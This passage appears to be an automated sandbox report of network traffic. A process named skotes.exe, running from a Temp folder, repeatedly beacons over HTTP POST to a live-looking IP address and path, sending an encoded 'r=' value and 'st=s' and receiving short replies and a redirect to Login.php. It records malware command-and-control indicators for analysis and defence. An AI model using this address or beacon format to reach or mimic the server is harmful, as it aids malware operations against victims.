Nov 18, 2024 21:07:50.830365896 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:07:51.755902052 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:07:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	50292	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:07:53.383759975 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:07:54.315618038 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:07:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	50293	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:07:55.843918085 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:07:56.755820036 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:07:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	50294	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:07:58.396383047 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:07:59.298707962 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:07:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	50295	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:08:00.812978983 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:08:01.761342049 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:08:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	50296	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:08:03.384654045 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:08:04.292269945 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:08:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	50297	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:08:05.823498011 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:08:06.751991034 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:08:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	50299	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:08:08.379616976 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:08:09.316598892 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:08:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	50302	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:08:10.832953930 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:08:11.752245903 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:08:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	50305	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:08:13.389839888 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:08:14.301407099 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:08:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	50306	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:08:15.824935913 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:08:16.755474091 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:08:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	50310	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:08:18.382539988 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:08:20.062021017 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:08:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 18, 2024 21:08:20.062601089 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:08:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 18, 2024 21:08:20.062975883 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:08:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	50314	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:08:21.581654072 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:08:22.495182037 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:08:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	50315	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:08:24.117929935 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:08:25.027930975 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:08:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	50318	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:08:26.554791927 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:08:27.532800913 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:08:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	50319	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:08:29.169493914 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:08:30.089272976 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:08:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	50320	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:08:31.621592045 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:08:32.548595905 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:08:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	50321	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:08:34.203502893 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:08:35.110697031 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:08:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	50322	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:08:36.640439034 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:08:37.721044064 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:08:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	50323	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:08:39.373377085 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:08:40.318164110 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:08:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	50328	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:08:41.876713037 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:08:42.795907021 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:08:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	50329	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:08:44.678273916 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	50330	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:08:46.215104103 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:08:47.131465912 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:08:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
